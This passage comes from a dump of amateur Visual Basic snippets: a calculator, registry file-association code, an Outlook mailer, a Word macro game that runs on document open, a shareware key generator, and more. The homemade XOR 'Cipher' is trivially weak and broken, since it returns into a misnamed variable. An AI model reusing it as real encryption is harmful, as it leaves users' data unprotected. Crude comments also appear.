As Integer\nDim newnum As Integer\nDim clearcount As Integer\nDim memstorebut(1 To 8) As Double\nDim location As Single\n\nPrivate Sub clear_Click()\n If clearcount = 0 Then\n txtcal.Text = \"\"\n clearcount = 1\n Else\n calcarray(0) = 0\n clearcount = 0\n End If\n decicount = 0\nEnd Sub\n\nPrivate Sub cmdInfo_Click()\n Dim Sure As String\n Sure = \"Created By James Bergeron, For more info e-mail berg0036@algonquinc.on.ca\"\n \n Rem Get results from the button click (action)\n ButtonClicked = MsgBox(Sure, 0 + 256 + 32, \"Info\")\nEnd Sub\nPrivate Sub decimal_Click()\n clearcount = 0\n If decicount = 0 Then\n txtcal.Text = txtcal.Text + decimal.Caption\n decicount = 1\n Else\n txtcal.Text = txtcal.Text\n End If\nEnd Sub\nPrivate Sub digit_Click(Index As Integer)\n If newnum = 1 Then\n txtcal.Text = \"\"\n txtcal.Text = txtcal.Text + digit(Index).Caption\n calcarray(holder) = txtcal.Text\n newnum = 0\n Else\n txtcal.Text = txtcal.Text + digit(Index).Caption\n calcarray(holder) = txtcal.Text\n End If\n clearcount = 0\nEnd Sub\n\nPrivate Sub equal_Click()\n Select Case operation\n \n Case 1\n txtcal.Text = calcarray(holder - 1) + calcarray(holder)\n calcarray(0) = txtcal.Text\n Case 2\n txtcal.Text = calcarray(holder - 1) - calcarray(holder)\n calcarray(0) = txtcal.Text\n Case 3\n txtcal.Text = calcarray(holder - 1) * calcarray(holder)\n calcarray(0) = txtcal.Text\n Case 4\n If calcarray(holder) = 0 Then\n txtcal.Text = \"Error, can't divide by 0\"\n Else\n txtcal.Text = calcarray(holder - 1) / calcarray(holder)\n calcarray(0) = txtcal.Text\n End If\n Case Else\n txtcal.Text = txtcal.Text\n End Select\n operation = 5\n holder = 0\n decicount = 0\n newnum = 1\n clearcount = 0\nEnd Sub\nPrivate Sub Form_Load()\noperation = 0\nlocation = 0\ndecicount = 0\nEnd Sub\nPrivate Sub memclear_Click()\n clearcount = 0\n For i = 1 To 8\n memstorebut(i) = 0\n Next i\n location = 0\n \nEnd Sub\nPrivate Sub memrecall_Click()\n clearcount = 0\n newnum = 1\n If location >= 1 Then\n txtcal.Text = memstorebut(location)\n calcarray(holder) = memstorebut(location)\n memstorebut(location) = 0\n location = location - 1\n End If\nEnd Sub\nPrivate Sub memstore_Click()\n clearcount = 0\n If location <= 7 And txtcal.Text > \"\" Then\n location = location + 1\n memstorebut(location) = txtcal.Text\n End If\nEnd Sub\n\nPrivate Sub mult_Click()\n Call equal_Click\n holder = holder + 1\n operation = 3\nEnd Sub\nPrivate Sub plus_Click()\n Call equal_Click\n holder = holder + 1\n operation = 1\nEnd Sub\nPrivate Sub div_Click()\n Call equal_Click\n holder = holder + 1\n operation = 4\nEnd Sub\n\nPrivate Sub sub_Click()\n Call equal_Click\n holder = holder + 1\n operation = 2\nEnd Sub\n"},{"WorldId":1,"id":1197,"LineNumber":1,"line":"'*******************************\n'demonstration on how to copy\n'an entire list or selected\n'list items to the clipboard\n'for use in other apps.\n'to see how it works, do the\n'following:\n'1. open a new project\n'2. put a listbox on the form,\n' name it lstList and set its\n' MultiSelect value to 2\n'3. put a command button on\n' the form and call it \n' cmdCopyList\n'4. put another command button\n' on the form and call it\n' cmdCopyListItems.\n'5. put a textbox on the form,\n' call it txtHidden, and set\n' its visible property to false.\n'6. paste the code into the\n' code window, run, and test.\n' Be sure to select some items\n' before you choose\n' copy list items.\n'\n'******************************\nPrivate Sub Form_Load()\n 'add rainbow colors to list box\n lstList.AddItem \"Red\"\n lstList.AddItem \"Orange\"\n lstList.AddItem \"Yellow\"\n lstList.AddItem \"Green\"\n lstList.AddItem \"Blue\"\n lstList.AddItem \"Indigo\"\n lstList.AddItem \"Violet\"\nEnd Sub\nPrivate Sub cmdCopyList_Click()\n'this procedure loops thru the list\n'and copies each item to a textbox\n Dim I As Integer\n For I = 0 To lstList.ListCount - 1\n txtHidden.Text = txtHidden.Text & lstList.List(I) & vbCrLf\n Next I\n Call CopyText\nEnd Sub\nPrivate Sub cmdCopyListItems_Click()\n'copy list item to textbox\n Dim I As Integer\n For I = 0 To lstList.ListCount - 1\n If lstList.Selected(I) Then\n txtHidden.Text = txtHidden.Text & lstList.List(I) & vbCrLf\n End If\n Next I\n Call CopyText\nEnd Sub\nPublic Sub CopyText()\n'select list and copy\n'to clipboard\n \n txtHidden.SelLength = Len(txtHidden.Text)\n Clipboard.Clear\n Clipboard.SetText txtHidden.SelText\nEnd Sub\n"},{"WorldId":1,"id":1199,"LineNumber":1,"line":"Option Explicit\n' Name: GenerateKeyCode\n'\n' Description:\n' This little routine generates a keycode for shareware registration in the\n' format XXXX-YYYYYYYYYY, based on the Name given as an argument. The first\n' four digits are a randomly generated seed value, which makes 8999 possible keycodes\n' for people with the same name (like John Smith). The last four digits are\n' the actual code.\n'\n' Written by:\n' Andy Carrasco (Copyright 1998)\n'\nPublic Function GenerateKeyCode(sName As String) As String\n Dim sRandomSeed As String\n Dim sKeyCode As String\n Dim X As Long\n Dim KeyCounter As Long\n Dim PrimaryLetter As Long\n Dim CodedLetter As Long\n Dim sBuffer As String\n \n Randomize\n sRandomSeed = CStr(Int((9999 - 1000 + 1) * Rnd + 1000))\n sName = UCase$(sName)\n KeyCounter = 1\n \n 'Clean up sName so there are no illegal characters.\n For X = 1 To Len(sName)\n If Asc(Mid$(sName, X, 1)) >= 65 And Asc(Mid$(sName, X, 1)) <= 90 Then sBuffer = sBuffer & Mid$(sName, X, 1)\n Next X\n \n sName = sBuffer\n \n 'if the name is less than 10 characters long, pad it out with ASCII 65\n Do While Len(sName) < 10\n sName = sName + Chr$(65)\n Loop\n \n For X = 1 To Len(sName)\n PrimaryLetter = Asc(Mid$(sName, X, 1))\n CodedLetter = PrimaryLetter + CInt(Mid$(sRandomSeed, KeyCounter, 1))\n If CodedLetter < 90 Then\n sKeyCode = sKeyCode + Chr$(CodedLetter)\n Else\n sKeyCode = sKeyCode + \"0\"\n End If\n 'Increment the keycounter\n KeyCounter = KeyCounter + 1\n If KeyCounter > 4 Then KeyCounter = 1\n Next X\n \n GenerateKeyCode = sRandomSeed + \"-\" + Left$(sKeyCode, 10)\n \nEnd Function\n' Name: VerifyKeyCode\n'\n' Description:\n' Verifies if a given keycode is valid for a given name.\n'\n' Parameters:\n' sName - A string containing the user name to validate the key against\n' sKeyCode- A string containins the keycode in the form XXXX-YYYYYYYYYY.\n'\nPublic Function VerifyKeyCode(sName As String, sKeyCode As String) As Boolean\n \n Dim sRandomSeed As String\n Dim X As Long\n Dim KeyCounter As Long\n Dim PrimaryLetter As Long\n Dim DecodedKey As String\n Dim AntiCodedLetter As Long\n Dim sBuffer As String\n \n sRandomSeed = Left$(sKeyCode, InStr(sKeyCode, \"-\") - 1)\n sName = UCase$(sName)\n sKeyCode = Right$(sKeyCode, 10)\n KeyCounter = 1\n \n 'Clean up sName so there are no illegal characters.\n For X = 1 To Len(sName)\n If Asc(Mid$(sName, X, 1)) >= 65 And Asc(Mid$(sName, X, 1)) <= 90 Then sBuffer = sBuffer & Mid$(sName, X, 1)\n Next X\n \n sName = sBuffer\n \n 'if the name is less than 10 characters long, pad it out with ASCII 65\n Do While Len(sName) < 10\n sName = sName + Chr$(65)\n Loop\n \n 'now, decode the keycode\n \n For X = 1 To Len(sKeyCode)\n PrimaryLetter = Asc(Mid$(sKeyCode, X, 1))\n AntiCodedLetter = PrimaryLetter - CInt(Mid$(sRandomSeed, KeyCounter, 1))\n \n If PrimaryLetter = 48 Then 'zero\n DecodedKey = DecodedKey + Mid$(sName, X, 1) 'Take the corresponding letter from the name\n Else\n DecodedKey = DecodedKey + Chr$(AntiCodedLetter)\n End If\n 'Increment the keycounter\n KeyCounter = KeyCounter + 1\n If KeyCounter > 4 Then KeyCounter = 1\n Next X\n \n If DecodedKey = Left$(sName, 10) Then\n VerifyKeyCode = True\n Else\n VerifyKeyCode = False\n End If\nEnd Function"},{"WorldId":1,"id":1219,"LineNumber":1,"line":"'This bit goes in a form\n'To create the form follow these instructions\n'1 Open word, go to the \"tools\" menu, select \"macros\" then \"Visual Basic Editor\"\n'2 Make a form, call the form frmFight\n'3 Add three Option buttons, call these optPaper, optScissors and optStone\n'make sure the text on them says Paper, Scissors and Stone respectively\n'4 Add two labels, call these lblWinsLossesDraws and lblTimerObject\n'5 Add two Command buttons, call these cmdChosen and cmdExit\n'6 Add the additional control \"Timer Object\" (ietimer.ocx)\n'7 Add a timer control to the form call this tmrTimer\n'8 Add the following code to the form\n'Note1: This was designed to play against clipit assistant but you can use any,\n'it is simple to change the animations and office97 has a full help file on this\n'Note2: To convert in to Visual Basic just remove all reference to Assistant in the form\n'code, and follow instructions above (for 6 just use the normal VBtimer)\n'Note3: You will need the ietimer ocx to get this to work in office97 (it works in VB without)\n'Note4: If you like this code please tell me at edhockaday@hotmail.com, have fun with it!!!\nOption Explicit\nDim gVar1\nDim gVar2\nDim gDraw As Boolean\nDim gMessage\nDim gWins\nDim gLosses\nDim gDraws\nDim gTimerObject\nDim OptionChosen\n'**************************************\n'* Macros by Ed Hockaday *\n'* 15\\12\\98 *\n'**************************************\nPublic Sub sDraw()\nIf gVar1 = gVar2 Then\n sConvertNumberToText\n MsgBox \"You both chose \" & gVar1\n gDraws = gDraws + 1\n gDraw = True\n Assistant.Visible = True\n Assistant.Animation = msoAnimationLookUp\nEnd If\nEnd Sub\nPublic Sub sConvertTextToNumber()\nIf gVar1 = \"Paper\" Then\n gVar1 = 1\nElseIf gVar1 = \"Scissors\" Then\n gVar1 = 2\nElseIf gVar1 = \"Stone\" Then\n gVar1 = 3\nEnd If\nIf gVar2 = \"Paper\" Then\n gVar2 = 1\nElseIf gVar2 = \"Scissors\" Then\n gVar2 = 2\nElseIf gVar2 = \"Stone\" Then\n gVar2 = 3\nEnd If\nEnd Sub\nPublic Sub sConvertNumberToText()\nIf gVar1 = 1 Then\n gVar1 = \"Paper\"\nElseIf gVar1 = 2 Then\n gVar1 = \"Scissors\"\nElseIf gVar1 = 3 Then\n gVar1 = \"Stone\"\nEnd If\nIf gVar2 = 1 Then\n gVar2 = \"Paper\"\nElseIf gVar2 = 2 Then\n gVar2 = \"Scissors\"\nElseIf gVar2 = 3 Then\n gVar2 = \"Stone\"\nEnd If\nEnd Sub\nPublic Sub sVar1Win()\nAssistant.Visible = True\nAssistant.Animation = msoAnimationGetArtsy\nMsgBox \"You win\"\ngWins = gWins + 1\nEnd Sub\nPublic Sub sVar2Win()\nAssistant.Visible = True\nAssistant.Animation = msoAnimationCharacterSuccessMajor\nMsgBox \"You lose\"\ngLosses = gLosses + 1\nEnd Sub\nPublic Sub sReconcile()\nIf gVar1 = 1 Then\n If gVar2 = 3 Then\n gMessage = \" wraps \"\n sVar1Win\n ElseIf gVar2 = 2 Then\n gMessage = \" gets cut by \"\n sVar2Win\n End If\nElseIf gVar1 = 2 Then\n If gVar2 = 1 Then\n gMessage = \" cuts \"\n sVar1Win\n ElseIf gVar2 = 3 Then\n gMessage = \" is blunted by \"\n sVar2Win\n End If\nElseIf gVar1 = 3 Then\n If gVar2 = 2 Then\n gMessage = \" blunts \"\n sVar1Win\n ElseIf gVar2 = 1 Then\n gMessage = \" gets wrapped by \"\n sVar2Win\n End If\nEnd If\nEnd Sub\nPublic Sub sTimerObject()\nIf gTimerObject = \"Paper\" Then\n gTimerObject = \"Stone\"\nElseIf gTimerObject = \"Stone\" Then\n gTimerObject = \"Scissors\"\nElseIf gTimerObject = \"Scissors\" Then\n gTimerObject = \"Paper\"\nEnd If\nEnd Sub\nPublic Sub sLanding()\ngVar2 = Int((3 * Rnd) + 1)\nIf gVar2 = 1 Then\n gVar2 = \"Paper\"\nElseIf gVar2 = 2 Then\n gVar2 = \"Scissors\"\nElseIf gVar2 = 3 Then\n gVar2 = \"Stone\"\nEnd If\nlblTimerObject.Caption = \"Clipit chooses \" & gVar2\nEnd Sub\nPrivate Sub cmdChosen_Click()\nAssistant.Visible = True\nAssistant.Animation = msoAnimationIdle\ngTimerObject = \"Paper\"\ngDraw = False\ngMessage = \"\"\ngVar1 = \"\"\n'gVar2 = Int((3 * Rnd) + 1)\nIf gWins = \"\" Then gWins = \"0\"\nIf gLosses = \"\" Then gLosses = \"0\"\nIf gDraws = \"\" Then gDraws = \"0\"\nIf optPaper.Value = True Then\n gVar1 = 1\nElseIf optScissors.Value = True Then\n gVar1 = 2\nElseIf optStone.Value = True Then\n gVar1 = 3\nEnd If\ntmrTimer.Interval = 1\nEnd Sub\nPrivate Sub cmdExit_Click()\nIf gWins < gLosses Then\n With Assistant\n .Visible = True\n .Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Quit while you're ahead...chicken\"\n .Text = \"...come on have another go?\"\n .Labels(1).Text = \"Yes!\"\n .Labels(2).Text = \"No!\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\n End With\n If OptionChosen = 1 Then\n Exit Sub\n ElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\n MsgBox \"Macros by Ed Hockaday - 15\\12\\98\"\n ' Pass these macros on, but change my name and I will find you and kill you\n ' Thank you kindly!!!\n Unload frmFight\n End If\nElseIf gWins > gLosses Then\n With Assistant\n .Visible = True\n .Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Hahaha I beat you...\"\n .Text = \"...don't you want another go?\"\n .Labels(1).Text = \"Yes!\"\n .Labels(2).Text = \"No!\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\n End With\n If OptionChosen = 1 Then\n Exit Sub\n ElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\n Unload frmFight\n End If\nElseIf gWins = gLosses Then\n With Assistant\n .Visible = True\n .Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Come on it's a draw...\"\n .Text = \"...lets finish it...\"\n .Labels(1).Text = \"Yes!\"\n .Labels(2).Text = \"No!\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\n End With\n If OptionChosen = 1 Then\n Exit Sub\n ElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\n Unload frmFight\n End If\nEnd If\nEnd Sub\nPrivate Sub tmrTimer_Timer()\nsTimerObject\nlblTimerObject.Caption = gTimerObject\ntmrTimer.Interval = tmrTimer.Interval + 10\nIf tmrTimer.Interval > 350 Then\n tmrTimer.Interval = 0\n sLanding\n sConvertTextToNumber\n sDraw\n If gDraw = True Then\n lblWinsLossesDraws.Caption = gWins & \" wins, \" & gLosses & \" losses, \" & gDraws & \" draws.\"\n Exit Sub\n End If\n sReconcile\n sConvertNumberToText\n lblWinsLossesDraws.Caption = gWins & \" wins, \" & gLosses & \" losses, \" & gDraws & \" draws.\"\n MsgBox gVar1 & gMessage & gVar2\nEnd If\nEnd Sub\n\n'***************************************\n'This bit goes in the ThisDocument part (found in the Microsoft word object folder in the project window...)\n'**************************************\n'* Macros by Ed Hockaday *\n'* 15\\12\\98 *\n'**************************************\nSub docstart()\nDim OptionChosen As Integer\nWith Assistant\n.Visible = True\n.Animation = msoAnimationGetAttentionMajor\n With .NewBalloon\n .Heading = \"Hi...\"\n .Text = \"...what to have some fun?\"\n .Labels(1).Text = Chr(34) & \"Yeah, OK!\" & Chr(34)\n .Labels(2).Text = Chr(34) & \"Not really!\" & Chr(34)\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\nEnd With\nIf OptionChosen = 1 Then\n frmFight.Show\nElseIf OptionChosen = 2 Then\n No1\nEnd If\nEnd Sub\nPrivate Sub Document_Open()\ndocstart\nEnd Sub\nSub No1()\nWith Assistant\n.Visible = True\n.Animation = msoAnimationCharacterSuccessMajor\n With .NewBalloon\n .Heading = \"Oh come on...\"\n .Text = \"...play with me...\"\n .Labels(1).Text = \"Play...\"\n .Labels(2).Text = \"Leave...\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\nEnd With\nIf OptionChosen = 1 Then\n frmFight.Show\nElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationDisappear\n Assistant.Visible = False\nEnd If\nEnd Sub\nSub Yes1()\nWith Assistant\n.Visible = True\n.Animation = msoAnimationGetWizardy\n With .NewBalloon\n .Heading = \"Fuck you small balls...\"\n .Text = \"...are you starting with me?\"\n .Labels(1).Text = \"Fight\"\n .Labels(2).Text = \"Run away\"\n .Mode = msoModeModal\n OptionChosen = .Show\n End With\nEnd With\nIf OptionChosen = 1 Then\n Fight\nElseIf OptionChosen = 2 Then\n Assistant.Animation = msoAnimationCharacterSuccessMajor\nEnd If\nEnd Sub\nSub Fight()\nWith Assistant\n.Visible = True\n.Animation = msoAnimationLookUp\nEnd With\n'frmFight.Show\nEnd Sub\n'*******************************************\n\n"},{"WorldId":1,"id":1229,"LineNumber":1,"line":"1) Create a new project (Standard EXE).\n2) Place a label on the form at the bottom with whichever BackColor you set the form's BackColor to, and leave all the other properties alone except these:\n A) Alignment: 2 - Center\n B) Caption: This is a sample scroller.\n3) On the form, place two picture boxes (one on top of the form, and one on the bottom) with these properties set. (Leave all others alone.)\n A) BackColor: &H80000012&\n B) BorderStyle: 0 - None\n NOTE: Be sure that the picture box is covering the label.\n4) Place a timer on the form, and set the interval to '1'. And inside the timer, copy and paste this code:\n Label1.Top = (Label1.Top - 20)\n If Label1.Top = 0 Then '0 is the location topmost form coordinate\n Label1.Top = Me.Height\n End If\n5) Run and test the program. Viola! You now have created the most simple scroller program available! If you have any problems with this code, which you shouldn't, please e-mail me at: madcat47@hotmail.com"},{"WorldId":1,"id":1233,"LineNumber":1,"line":"'In a module:\n'-----------------------------------------\nPublic Sub savekey(Hkey As Long, strPath As String)\nDim keyhand&\nr = RegCreateKey(Hkey, strPath, keyhand&)\nr = RegCloseKey(keyhand&)\nEnd Sub\nPublic Function getstring(Hkey As Long, strPath As String, strValue As String)\nDim keyhand As Long\nDim datatype As Long\nDim lResult As Long\nDim strBuf As String\nDim lDataBufSize As Long\nDim intZeroPos As Integer\nr = RegOpenKey(Hkey, strPath, keyhand)\nlResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\nIf lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n If intZeroPos > 0 Then\n getstring = Left$(strBuf, intZeroPos - 1)\n Else\n getstring = strBuf\n End If\n End If\nEnd If\nEnd Function\nPublic Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)\nDim keyhand As Long\nDim r As Long\nr = RegCreateKey(Hkey, strPath, keyhand)\nr = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\nr = RegCloseKey(keyhand)\nEnd Sub\nFunction getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long\nDim lResult As Long\nDim lValueType As Long\nDim lBuf As Long\nDim lDataBufSize As Long\nDim r As Long\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\nlDataBufSize = 4\nlResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)\nIf lResult = ERROR_SUCCESS Then\n If lValueType = REG_DWORD Then\n getdword = lBuf\n End If\nEnd If\nr = RegCloseKey(keyhand)\nEnd Function\nFunction SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)\n Dim lResult As Long\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)\n r = RegCloseKey(keyhand)\nEnd Function\nPublic Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)\nDim r As Long\nr = RegDeleteKey(Hkey, strKey)\nEnd Function\nPublic Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)\nDim keyhand As Long\nr = RegOpenKey(Hkey, strPath, keyhand)\nr = RegDeleteValue(keyhand, strValue)\nr = RegCloseKey(keyhand)\nEnd Function\n'-------------------------------------------\n'On a Form:\n'----------------------------------------------\n Private Declare Function fCreateShellLink Lib \"STKIT432.DLL\" (ByVal _\n lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal _\n lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As Long\n\nPrivate Sub Form_Load()\nDim strString As String\nDim lngDword As Long\nIf Command$ <> \"%1\" Then\nMsgbox (Command$ & \" is the file you need to open!\"), vbInformation\n 'Add to Recent file folder\n lReturn = fCreateShellLink(\"..\\..\\Recent\", _\n Command$, Command$, \"\")\nEnd If\n'create an entry in the class key\nCall savestring(HKEY_CLASSES_ROOT, \"\\.xyz\", \"\", \"xyzfile\")\n'content type\nCall savestring(HKEY_CLASSES_ROOT, \"\\.xyz\", \"Content Type\", \"text/plain\")\n'name\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\", \"\", \"This is where you type the description for these files\")\n'edit flags\nCall SaveDword(HKEY_CLASSES_ROOT, \"\\xyzfile\", \"EditFlags\", \"0000\")\n'file's icon (can be an icon file, or an icon located within a dll file)\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\DefaultIcon\", \"\", App.Path & \"\\ICON.ico\")\n'Shell\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\Shell\", \"\", \"\")\n'Shell Open\nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\Shell\\Open\", \"\", \"\")\n'Shell open command \nCall savestring(HKEY_CLASSES_ROOT, \"\\xyzfile\\Shell\\Open\\command\", \"\", App.Path & \"\\Project1.exe %1\")\nEnd Sub\n'----------------------------------------------"},{"WorldId":1,"id":1253,"LineNumber":1,"line":"''\n'' PUT THIS BEHIND A COMMAND BUTTON TO TEST\n''\n' Declarations\nDim tdExample As TableDef\nDim fldForeName As Field\nDim fldSurname As Field\nDim fldDOB As Field\nDim fldFurtherDetails As Field\nDim dbDatabase As Database\nDim sNewDBPathAndName As String\n' Set the new database path and name in string (using time:seconds for some randomality\nsNewDBPathAndName = \"c:\\temp\\NewDB\" & Right$(Time, 2) & \".mdb\"\n' Create a new .MDB file (empty at creation point!)\nSet dbDatabase = CreateDatabase(sNewDBPathAndName, dbLangGeneral, dbEncrypt)\n' Create new TableDef (table called 'Example')\nSet tdExample = dbDatabase.CreateTableDef(\"Example\")\n' Add fields to tdfTitleDetail.\nSet fldForeName = tdExample.CreateField(\"Fore_Name\", dbText, 20)\nSet fldSurname = tdExample.CreateField(\"Surname\", dbText, 20)\nSet fldDOB = tdExample.CreateField(\"DOB\", dbDate)\nSet fldFurtherDetails = tdExample.CreateField(\"Further_Details\", dbMemo)\n' Append the field objects to the TableDef\ntdExample.Fields.Append fldForeName\ntdExample.Fields.Append fldSurname\ntdExample.Fields.Append fldDOB\ntdExample.Fields.Append fldFurtherDetails\n' Save TableDef definition by appending it to TableDefs collection.\ndbDatabase.TableDefs.Append tdExample\nMsgBox \"New .MDB Created - '\" & sNewDBPathAndName & \"'\", vbInformation\n' Now look for the new .MDB using File Manager!\n"},{"WorldId":1,"id":1267,"LineNumber":1,"line":"Option Explicit\n' This code demonstartes an auto-search combo box.\n' As the user types into the combo, the list is searched, and if a\n' partial match is made, then the remaining text is entered into the\n' Text portion of the combo, and selected so that any further\n' typing will automatically overwrite the Auto-search results.\n'\n' The IgnoreTextChange flag is used internally to tell the\n' Combo1_Changed event not to perform the Auto-search.\nDim IgnoreTextChange As Boolean\nPrivate Sub Combo1_Change()\n Dim i%\n Dim NewText$\n \n \n ' Check to see if a serch is required.\n If Not IgnoreTextChange And Combo1.ListCount > 0 Then\n ' Loop through the list searching for a partial match of\n ' the entered text.\n For i = 0 To Combo1.ListCount - 1\n NewText = Combo1.List(i)\n If InStr(1, NewText, Combo1.Text, 1) = 1 Then\n If Len(Combo1.Text) <> Len(NewText) Then\n ' Partial match found\n ' Avoid recursively entering this event\n IgnoreTextChange = True\n i = Len(Combo1.Text)\n ' Attach the full text from the list to what has\n ' already been entered. This technique preserves\n ' the case entered by the user.\n Combo1.Text = Combo1.Text & Mid$(NewText, i + 1)\n ' Select the text that is auto-entered\n Combo1.SelStart = i\n Combo1.SelLength = Len(Mid$(NewText, i + 1))\n Exit For\n End If\n End If\n Next\n Else\n ' The IgnoreTwextChange Flag is only effective for one\n ' Changed event.\n IgnoreTextChange = False\n End If\nEnd Sub\nPrivate Sub Combo1_GotFocus()\n ' Select existing text on entry to the combo box\n Combo1.SelStart = 0\n Combo1.SelLength = Len(Combo1.Text)\nEnd Sub\nPrivate Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)\n ' If a user presses the \"Delete\" key, then the selected text\n ' is removed.\n If KeyCode = vbKeyDelete And Combo1.SelText <> \"\" Then\n ' Make sure that the text is not automatically re-entered\n ' as soon as it is deleted\n IgnoreTextChange = True\n Combo1.SelText = \"\"\n KeyCode = 0\n End If\nEnd Sub\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n ' If a user presses the \"Backspace\" key, then the selected text\n ' is removed. Autosearch is not re-performed, as that would only\n ' put it straight back again.\n If KeyAscii = 8 Then\n IgnoreTextChange = True\n If Len(Combo1.SelText) Then\n Combo1.SelText = \"\"\n KeyAscii = 0\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":1280,"LineNumber":1,"line":"Function GetToken(ByVal strVal As String, intIndex As Integer, _\n\tstrDelimiter As String) As String\n'------------------------------------------------------------------------\n' Author : Troy DeMonbreun (vb@8x.com)\n'\n' Returns : [string] \"Token\" (section of data) from a list of\n' delimited string data\n'\n' Requires : [string] delimited data,\n' [integer] index of desired section,\n' [string] delimiter (1 or more chars)\n'\n' Examples : GetToken(\"steve@hotmail.com\", 2, \"@\") returns \"hotmail.com\"\n' GetToken(\"123-45-6789\", 2, \"-\") returns \"45\"\n' GetToken(\"first,middle,last\", 3, \",\") returns \"last\"\n'\n' Revised : 12/22/1998\n'------------------------------------------------------------------------\n\tDim strSubString() As String\n\tDim intIndex2 As Integer\n\tDim i As Integer\n\tDim intDelimitLen As Integer\n\tintIndex2 = 1\n\ti = 0\n\tintDelimitLen = Len(strDelimiter)\n\tDo While intIndex2 > 0\n \n\t\tReDim Preserve strSubString(i + 1)\n \n\t\tintIndex2 = InStr(1, strVal, strDelimiter)\n \n\t\tIf intIndex2 > 0 Then\n\t\t\tstrSubString(i) = Mid(strVal, 1, (intIndex2 - 1))\n\t\t\tstrVal = Mid(strVal, (intIndex2 + intDelimitLen), Len(strVal))\n\t\tElse\n\t\t\tstrSubString(i) = strVal\n\t\tEnd If\n \n\t\ti = i + 1\n \n\tLoop\n\tIf intIndex > (i + 1) Or intIndex < 1 Then\n\t\tGetToken = \"\"\n\tElse\n\t\tGetToken = strSubString(intIndex - 1)\n\tEnd If\nEnd Function"},{"WorldId":1,"id":1286,"LineNumber":1,"line":"Sub mSendEmail(ByVal vcolEmailAddress As Collection, _\n ByVal vstrSubject As String, _\n ByVal vstrBody As String)\nDim ol As New Outlook.Application\nDim ns As Outlook.NameSpace\n \n 'Return a reference to the MAPI layer\n Dim newMail As Outlook.MailItem\n \n 'Create a new mail message item\n Set ns = ol.GetNamespace(\"MAPI\")\n Set newMail = ol.CreateItem(olMailItem)\n \n 'set properties\n With newMail\n 'Add the subject of the mail message\n .Subject = vstrSubject\n 'Create some body text\n .Body = vstrBody\n \n '**************\n 'go through all\n 'addresses passed in\n '**************\n Dim strEmailAddress As String\n Dim intIndex As Integer\n For intIndex = 1 To vcolEmailAddress.Count\n \n strEmailAddress = vcolEmailAddress.Item(intIndex)\n 'Add a recipient and test to make sure that the\n 'address is valid using the Resolve method\n With .Recipients.Add(strEmailAddress)\n .Type = olTo\n If Not .Resolve Then\n 'MsgBox \"Unable to resolve address.\", vbInformation\n Debug.Print \"Unable to resolve address \" & strEmailAddress & \".\"\n 'Exit Sub\n End If\n End With\n \n Next intIndex\n \n' 'Attach a file as a link with an icon\n' With .Attachments.Add _\n' (\"\\\\Training\\training.xls\", olByReference)\n' .DisplayName = \"Training info\"\n' End With\n \n 'Send the mail message\n .Send\n End With\n 'Release memory\n Set ol = Nothing\n Set ns = Nothing\n Set newMail = Nothing\nEnd Sub\n"},{"WorldId":1,"id":1289,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1310,"LineNumber":1,"line":"Public Function Cipher(PlainText, Secret)\nDim a, b, c\nDim pTb, cTb, cT\nFor i = 1 To Len(PlainText)\n pseudoi = i Mod Len(Secret)\n If pseudoi = 0 Then pseudoi = 1\n a = Mid(Secret, pseudoi, 1)\n b = Mid(Secret, pseudoi + 1, 1)\n c = Asc(a) Xor Asc(b)\n pTb = Mid(PlainText, i, 1)\n cTb = c Xor Asc(pTb)\n cT = cT + Chr(cTb)\n Form1.Label1.Caption = i\n DoEvents\nNext i\nEnCipher = cT\nEnd Function"},{"WorldId":1,"id":1321,"LineNumber":1,"line":"Attribute VB_Name = \"ModACL\"\nOption Explicit\n'for public function SetAccessRights\nEnum fNSR\n f_NEW_FULL 'Will remove the existing ACL and assign Full rights\n f_REVOKE 'Will revoke the specified trustee\n f_SET_CHANGE 'Will just set new Change rights\n f_SET_FULL 'Will just set new Full rights\nEnd Enum\n Const SECURITY_DESCRIPTOR_REVISION = (1)\n Const ACL_REVISION = (2)\n Const DACL_SECURITY_INFORMATION = 4&\n Const ERROR_SUCCESS = 0&\n Const SE_FILE_OBJECT = 1&\n \n Const SET_ACCESS = 2& 'NOT_USED_ACCESS = 0, GRANT_ACCESS, SET_ACCESS, 